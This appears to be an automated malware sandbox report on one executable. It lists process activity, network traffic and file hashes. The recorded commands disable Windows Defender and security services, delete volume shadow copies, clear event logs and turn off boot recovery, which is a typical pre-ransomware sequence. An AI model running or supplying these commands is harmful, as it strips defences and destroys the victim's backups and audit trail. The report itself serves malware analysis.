PID 4836 wrote to memory of 3876 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\reg.exe
PID 4836 wrote to memory of 3876 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\reg.exe
PID 4836 wrote to memory of 412 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\reg.exe
PID 4836 wrote to memory of 412 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\reg.exe
PID 4836 wrote to memory of 1332 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\reg.exe
PID 4836 wrote to memory of 1332 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\reg.exe
PID 4836 wrote to memory of 3712 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\reg.exe
PID 4836 wrote to memory of 3712 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\reg.exe
PID 4836 wrote to memory of 4040 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\reg.exe
PID 4836 wrote to memory of 4040 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\reg.exe
PID 4836 wrote to memory of 5092 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\reg.exe
PID 4836 wrote to memory of 5092 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\reg.exe
PID 4836 wrote to memory of 548 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\reg.exe
PID 4836 wrote to memory of 548 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\reg.exe
PID 4836 wrote to memory of 3252 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\reg.exe
PID 4836 wrote to memory of 3252 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\reg.exe

Processes

C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe

"C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv

C:\Windows\SYSTEM32\net.exe

net.exe stop "SamSs" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SamSs" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "SDRSVC" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SDRSVC" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "SstpSvc" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SstpSvc" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "vmicvss" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "vmicvss" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "VSS" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "VSS" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "wbengine" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "wbengine" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "WebClient" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "WebClient" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "UnistoreSvc_15bc3" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UnistoreSvc_15bc3" /y

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SamSs" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SDRSVC" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SstpSvc" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "vmicvss" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "VSS" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "wbengine" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "WebClient" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "UnistoreSvc_15bc3" start= disabled

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\vssadmin.exe

vssadmin.exe delete shadows /all /quiet

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl system

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl security

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl application

C:\Windows\System32\Wbem\wmic.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\System32\Wbem\wmic.exe

wmic.exe shadowcopy delete

C:\Windows\SYSTEM32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\SYSTEM32\bcdedit.exe

bcdedit.exe /set {default} recoveryenabled no

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding

Network

Country Destination Domain Proto
NL 8.248.5.254:80 tcp
NL 8.248.5.254:80 tcp
US 8.8.8.8:53 api.msn.com udp
US 204.79.197.203:443 api.msn.com tcp

Files

memory/3740-130-0x0000028B36B60000-0x0000028B36B70000-memory.dmp

memory/3740-131-0x0000028B372E0000-0x0000028B372F0000-memory.dmp

memory/3740-132-0x0000028B397C0000-0x0000028B397C4000-memory.dmp

memory/696-133-0x00000232F9750000-0x00000232F9772000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 62623d22bd9e037191765d5083ce16a3
SHA1 4a07da6872672f715a4780513d95ed8ddeefd259
SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
SHA512 9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

memory/1368-135-0x00007FFE662F3000-0x00007FFE662F5000-memory.dmp

memory/1368-138-0x0000029F2FB60000-0x0000029F2FB62000-memory.dmp

memory/1368-139-0x0000029F2FB63000-0x0000029F2FB65000-memory.dmp

memory/1368-137-0x0000029F2FB66000-0x0000029F2FB68000-memory.dmp